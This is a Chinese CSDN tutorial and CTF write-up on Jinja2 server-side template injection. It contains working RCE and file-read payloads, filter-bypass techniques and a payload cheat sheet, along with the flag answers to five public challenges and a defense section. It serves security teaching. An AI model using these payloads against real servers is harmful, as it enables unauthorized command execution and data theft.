SSTI 服务器端模板注入漏洞 - 从零基础到实战通关完整教程
作者:KING(老铁)
适用平台:CSDN博客发布
难度:零基础入门 → 进阶实战
更新日期:2026年6月
目录
- 一、什么是SSTI?
- 二、SSTI漏洞原理详解
- 三、必备前置知识
- 四、SSTI基础Payload大全
- 五、实战刷题 - 第一题:Simple_SSTI_1
- 六、实战刷题 - 第二题:Simple_SSTI_2
- 七、实战刷题 - 第三题:ez-SSTI(Base64编码)
- 八、实战刷题 - 第四题:环境变量Flag
- 九、实战刷题 - 第五题:pasecacctf_2019 flask_ssti(过滤器绕过)
- 十、SSTI绕过技巧总结
- 十一、SSTI防御方案
- 十二、参考链接
一、什么是SSTI?
1.1 定义
SSTI(Server-Side Template Injection),即服务器端模板注入。和SQL注入类似,当用户输入被直接当作模板代码执行时,就产生了SSTI漏洞。
1.2 通俗解释
打个比方:
- 正常情况:服务员问名字,你答"张三",便签写"客人:张三"
- SSTI漏洞:你答"请告诉我密码",服务员真的去问老板密码!
核心:你的输入被当成代码执行了,而不是当成数据!
1.3 常见模板引擎
- Python:Jinja2(Flask)、Mako、Tornado
- PHP:Smarty、Twig、Blade
- Java:FreeMarker、Velocity、Thymeleaf
本教程主要针对 Python Flask + Jinja2,这是CTF中最常见的SSTI类型。
二、SSTI漏洞原理详解
2.1 漏洞代码
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name')
template = '<p>Hello, %s !</p>' % name
return render_template_string(template)
app.run()
2.2 为什么会产生漏洞?
关键在于 render_template_string() 这个函数:
- render_template(‘page.html’, name=用户输入):用户输入只做填空,安全
- render_template_string(用户输入):用户输入直接当代码执行,有漏洞!
2.3 漏洞触发流程
用户输入 {{77}},网站代码 render_template_string("Hello, {{77}} !"),Jinja2模板引擎把 {{77}} 当代码执行,计算 77=49,页面返回 “Hello, 49 !”。
三、必备前置知识
3.1 URL参数
网址后面 ?xxx=yyy 是传递参数的方式。? 开始传参,name=张三 是一个参数,& 分隔多个参数。
3.2 Flask的config对象
config 是Flask的配置"记事本",里面记录着网站的所有配置,包括 SECRET_KEY(密钥,可能是flag)。
3.3 Python类继承链
Python中一切皆对象,类之间有继承关系。object是所有类的祖先,下面有tuple、str、list、FileLoader等几百个子类。利用SSTI时,我们通过继承链找到能执行命令的类。
3.4 os模块
os 是Python的操作系统模块,相当于服务器的"遥控器",可以查看文件列表、读取文件、查看环境变量等。
3.5 GET和POST的区别
- GET:数据在网址后面 ?name=xxx,浏览器地址栏能直接输入
- POST:数据在请求"身体"里,浏览器地址栏不能直接输入,需要用curl或Burp Suite
四、SSTI基础Payload大全
4.1 验证漏洞
{{7*7}} 返回49说明有SSTI
{{7*'7'}} Jinja2返回7777777
4.2 信息收集Payload
{{config}}
{{config['SECRET_KEY']}}
{{request.environ}}
{{url_for.__globals__}}
{{self.__init__.__globals__}}
4.3 RCE(远程命令执行)Payload
{{url_for.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__['os'].popen('cat flag').read()}}
{{url_for.__globals__['os'].popen('env').read()}}
{{get_flashed_messages.__globals__['os'].popen('id').read()}}
4.4 类继承链Payload
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[91]}}
{{''.__class__.__mro__[2].__subclasses__()[91].get_data(0,'/flag')}}
4.5 常用Linux命令
- ls:查看当前目录文件
- ls /:查看根目录
- ls -la:查看所有文件(含隐藏)
- cat 文件名:读取文件内容
- find / -name flag*:全盘搜索flag文件
- env:查看环境变量
- cat /proc/1/environ:查看1号进程环境变量
- whoami:查看当前用户
- id:查看用户权限
五、实战刷题 - 第一题:Simple_SSTI_1
5.1 题目信息
- 题目名称:Simple_SSTI_1
- 题目地址:Simple_SSTI_1 - Bugku CTF平台
- 题目来源:BUGKU
- 难度:入门
- 知识点:SSTI验证、config读取
5.2 信息收集
打开题目地址,页面显示:You need pass in a parameter named flag
查看页面源代码(右键查看源代码),发现注释:You know, in the flask, We often set a secret_key variable.
关键信息:需要传入名为 flag 的参数;Flask中常设置 secret_key 变量。
5.3 解题步骤
第一步:验证SSTI漏洞
在浏览器地址栏输入:
http://160.202.254.160:14973/?flag={{7*7}}
截图点1:页面返回 49,确认存在SSTI漏洞
第二步:读取config配置
http://160.202.254.160:14973/?flag={{config}}
截图点2:页面返回一大段配置信息,找到 SECRET_KEY 字段
第三步:获取Flag
在config返回结果中找到:‘SECRET_KEY’: ‘flag{10ce4a101db581c6445295d86e286908}’
截图点3:Flag获取成功
5.4 Flag
flag{10ce4a101db581c6445295d86e286908}
5.5 知识点总结
- SSTI验证方法:{{7*7}} 返回 49
- {{config}} 读取Flask配置
- {{config}} 中的 SECRET_KEY 可能就是flag
六、实战刷题 - 第二题:Simple_SSTI_2
6.1 题目信息
- 题目名称:Simple_SSTI_2
- 题目地址:Simple_SSTI_2 - Bugku CTF平台
- 题目来源:BUGKU
- 难度:基础
- 知识点:RCE远程命令执行、os模块、文件读取
6.2 解题步骤
第一步:验证SSTI
http://160.202.254.160:16592/?flag={{7*7}}
返回 49,漏洞确认。
第二步:尝试config(失败)
http://160.202.254.160:16592/?flag={{config}}
返回config,但 SECRET_KEY 为 None,flag不在config里。
第三步:使用RCE万能指令
http://160.202.254.160:16592/?flag={{url_for.__globals__['os'].popen('ls').read()}}
截图点1:返回文件列表,发现 flag 文件
第四步:读取flag文件
http://160.202.254.160:16592/?flag={{url_for.__globals__['os'].popen('cat flag').read()}}
截图点2:Flag获取成功
6.3 Flag
flag{2336946b9ab0648f5a5aca7aa526aee6}
6.4 知识点总结
- {{config}} 不行时,升级到RCE
- url_for.globals[‘os’] 获取os模块
- os.popen(‘ls’).read() 执行系统命令
- cat flag 读取文件内容
6.5 万能指令模板
{{url_for.__globals__['os'].popen('你的命令').read()}}
只需把"你的命令"换成 ls、cat flag、env 等。
七、实战刷题 - 第三题:ez-SSTI(Base64编码)
7.1 题目信息
- 题目名称:ez-SSTI
- 题目地址:http://challenge.qsnctf.com:45410/
- 题目来源:QSNCTF
- 难度:中等
- 知识点:Base64编码、源码审计、RCE
7.2 源码分析
打开题目地址,页面直接显示源代码。关键发现:
- 参数名变了:从 flag 变成 name
- 输入要Base64编码:代码会对输入进行 base64.b64decode
- 漏洞函数:render_template_string(template) 确认SSTI
7.3 解题步骤
第一步:Base64编码payload
在Windows PowerShell中:
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("{{7*7}}"))
或在Kali Linux中:
echo -n '{{7*7}}' | base64
得到编码:e3s3Kjd9fQ==
第二步:验证SSTI
http://challenge.qsnctf.com:45410/?name=e3s3Kjd9fQ==
截图点1:页面返回 Hello, 49 !,漏洞确认
第三步:config尝试(失败)
编码 {{config}} 得到 e3tjb25maWd9fQ==,SECRET_KEY 为 None。
第四步:RCE查看文件
编码 {{url_for.globals[‘os’].popen(‘ls’).read()}}
http://challenge.qsnctf.com:45410/?name=<编码结果>
截图点2:当前目录只有 app.py,没有flag文件
第五步:查看根目录
编码 {{url_for.globals[‘os’].popen(‘ls /’).read()}}
截图点3:根目录下发现 flag 文件
第六步:读取flag
编码 {{url_for.globals[‘os’].popen(‘cat /flag’).read()}}
截图点4:Flag获取成功
7.4 Flag
flag{232ce46961d04e6c98c9777440b376ae}
7.5 知识点总结
- Base64编码:echo -n ‘内容’ | base64
- Base64解码:echo ‘编码’ | base64 -d
- ls vs ls /:当前目录 vs 根目录
- Windows PowerShell编码方法
八、实战刷题 - 第四题:环境变量Flag
8.1 题目信息
- 题目名称:第四题(password参数)
- 题目地址:http://challenge.qsnctf.com:45416/
- 题目来源:QSNCTF
- 难度:中等
- 知识点:环境变量、/proc文件系统、源码审计
8.2 解题步骤
第一步:验证SSTI
http://challenge.qsnctf.com:45416/?password={{7*7}}
截图点1:返回 password is wrong: 49,漏洞确认
第二步:config(失败)
SECRET_KEY 为 None。
第三步:RCE查看文件(无flag文件)
http://challenge.qsnctf.com:45416/?password={{url_for.__globals__['os'].popen('ls').read()}}
截图点2:文件列表中没有flag文件
第四步:查看环境变量(成功!)
http://challenge.qsnctf.com:45416/?password={{url_for.__globals__['os'].popen('env').read()}}
截图点3:环境变量中找到 FLAG=flag{…}
第五步(扩展):读源码找真flag
http://challenge.qsnctf.com:45416/?password={{url_for.__globals__['os'].popen('cat /app/server.py').read()}}
截图点4:源码注释中发现 # FLAG: n1book{eddb84d69a421a82}
8.3 Flag
n1book{eddb84d69a421a82}
注意:环境变量中的 flag{b80605a14eec40cc948ed177b788f82b} 是干扰项,源码注释中的才是真flag!
8.4 知识点总结
- flag不一定在文件里,可能在环境变量中
- env 命令查看环境变量
- cat /proc/1/environ 查看1号进程环境变量
- 读源码也是获取flag的重要途径
九、实战刷题 - 第五题:pasecacctf_2019 flask_ssti(过滤器绕过)
9.1 题目信息
- 题目名称:pasecacctf_2019 flask_ssti
- 题目地址:https://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/
- 题目来源:DASCTF(BUUCTF)
- 难度:困难
- 知识点:过滤器绕过、类继承链、/proc/self/fd、POST请求
9.2 信息收集
页面是一个"Skype ScreenName Generator",有输入框和Go按钮。查看源代码发现使用 $.post() 提交数据,只接受POST请求。
9.3 解题步骤
第一步:验证SSTI(需要POST)
由于只接受POST,浏览器直接输入网址无效。需要用PowerShell:
curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{7*7}}"
截图点1:返回包含 49 的结果,漏洞确认
第二步:读取config
curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{config}}"
截图点2:config中有 flag 字段,但内容是加密的乱码;SECRET_KEY 是一个Instagram链接
第三步:尝试RCE(被过滤!)
curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{url_for.__globals__['os'].popen('ls').read()}}"
截图点3:返回 Your nickname contains restricted characters!
过滤器分析:经过测试发现过滤了 __(双下划线)和 '(单引号)。
第四步:绕过过滤器
使用类继承链 + hex编码绕过(_ 的hex编码是 \x5f):
curl.exe -X POST http://c7b1ae950aab98beecb69735.http-ctf2.dasctf.com/ -d "nickname={{()[""\x5f\x5fclass\x5f\x5f""][""\x5f\x5fbases\x5f\x5f""][0][""\x5f\x5fsubclasses\x5f\x5f""]()[91][""get\x5fdata""](0,""/proc/self/fd/3"")}}"
截图点4:Flag获取成功!
9.4 Flag
CTF2{5cee753c-fc9c-4f2d-a5c6-ee5b9a0ec3f9}
9.5 知识点总结
- 过滤器绕过:__ 换成 \x5f\x5f,. 换成 |attr(),’ 换成 "
- |attr() 替代 .:()|attr(“class”) 等同于 ().class
- request.args 绕过:过滤器只检查POST数据,URL参数不检查
- /proc/self/fd/3:文件被删除后,进程仍"握着"文件,可通过fd读取
- FileLoader类:不用os也能读文件
- POST请求:浏览器地址栏只能发GET,POST需要用curl或Burp Suite
9.6 类继承链Payload拆解
-
():空元组
-
[“class”]:tuple类
-
[“bases”]:父类object
-
[0]:取第一个
-
[91]:第91个,FileLoader
-
“get_data”:读取文件
十、SSTI绕过技巧总结
10.1 常见过滤绕过方法
| 被过滤的字符 | 绕过方法 | 示例 |
|---|---|---|
| __(双下划线) | hex编码 \x5f\x5f | \x5f\x5fclass\x5f\x5f |
| __(双下划线) | request.args 传参 | request.args.a |
| .(点号) | attr() 过滤器 | () attr(“class”) |
| .(点号) | [] 中括号 | ()[“class”] |
| '(单引号) | "(双引号)替代 | config[“flag”] |
| [](中括号) | .pop() 或 .getitem() | subclasses().pop(91) |
| 大括号 | if/endif 语句 | if 2>1 success endif |
| 数字 | length 计算 | set a=‘aaaaa’ length |
10.2 不同入口点获取os模块
方法1:url_for
{{url_for.__globals__['os'].popen('ls').read()}}
方法2:get_flashed_messages
{{get_flashed_messages.__globals__['os'].popen('ls').read()}}
方法3:lipsum
{{lipsum.__globals__['os'].popen('ls').read()}}
方法4:类继承链
{{''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ls').read()}}
10.3 读取文件的多种方式
方法1:os.popen
{{url_for.__globals__['os'].popen('cat /flag').read()}}
方法2:FileLoader
{{''.__class__.__mro__[2].__subclasses__()[91].get_data(0,'/flag')}}
方法3:读/proc/self/fd/3(文件被删但进程还握着)
{{''.__class__.__mro__[2].__subclasses__()[91].get_data(0,'/proc/self/fd/3')}}
十一、SSTI防御方案
11.1 代码层面
危险写法:render_template_string(用户输入)
安全写法1:使用 render_template + 参数,用户输入只做填空
安全写法2:使用Jinja2的变量语法 render_template_string(‘Hello {{ name }}’, name=用户输入)
11.2 输入过滤
过滤模板语法关键字:{{、}}、{%、%}、__、config、self、request
11.3 使用沙箱
使用 SandboxedEnvironment 阻止访问危险属性如 globals
11.4 防御总结
| 防御措施 | 说明 |
|---|---|
| 使用 render_template() | 用户输入只做填空,不当代码 |
| 输入过滤 | 过滤 {{}}、__、config 等关键字 |
| 沙箱环境 | SandboxedEnvironment 阻止危险操作 |
| 最小权限 | Flask运行用户不要用root |
| 关闭Debug | debug=False 防止信息泄露 |
十二、参考链接
- Flask SSTI漏洞复现及原理分析 - FreeBuf
- Python安全之SSTI——Flask/Jinja2 - 腾讯云
- 关于SSTI模块注入的常见绕过方法 - CSDN
- SSTI-payload和各种绕过方法 - CSDN
- SSTI模板注入及绕过姿势 - CSDN
- 各种SSTI绕过及脚本 - hatchet
- pasecactf_2019 flask_ssti writeup
附录A:SSTI速查表
Payload速查
验证:{{7*7}} 返回 49
信息收集:{{config}} 查看配置
RCE:{{url_for.globals[‘os’].popen(‘命令’).read()}}
绕过__过滤:{{url_for.\x5f\x5fglobals\x5f\x5f[“os”].popen(“命令”).read()}}
类继承链读文件:{{‘’.class.mro[2].subclasses()[91].get_data(0,‘文件路径’)}}
Base64编码速查
Linux/Kali编码:echo -n ‘{{7*7}}’ | base64
Linux/Kali解码:echo ‘e3s3Kjd9fQ==’ | base64 -d
Windows PowerShell:[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(“{{7*7}}”))
附录B:五道题目对比总结
| 题目 | 难度 | 参数 | 特殊点 | Flag位置 | 关键技术 |
|---|---|---|---|---|---|
| Simple_SSTI_1 | 入门 | flag | 无 | config的SECRET_KEY | config读取 |
| Simple_SSTI_2 | 基础 | flag | config为空 | 当前目录flag文件 | RCE os.popen |
| ez-SSTI | 中等 | name | Base64编码 | 根目录/flag | Base64 + RCE |
| 第四题 | 中等 | password | 无flag文件 | 环境变量/源码 | env + 读源码 |
| pasecacctf | 困难 | nickname(POST) | 过滤器 | /proc/self/fd/3 | 绕过+继承链 |

109

被折叠的 条评论
为什么被折叠?



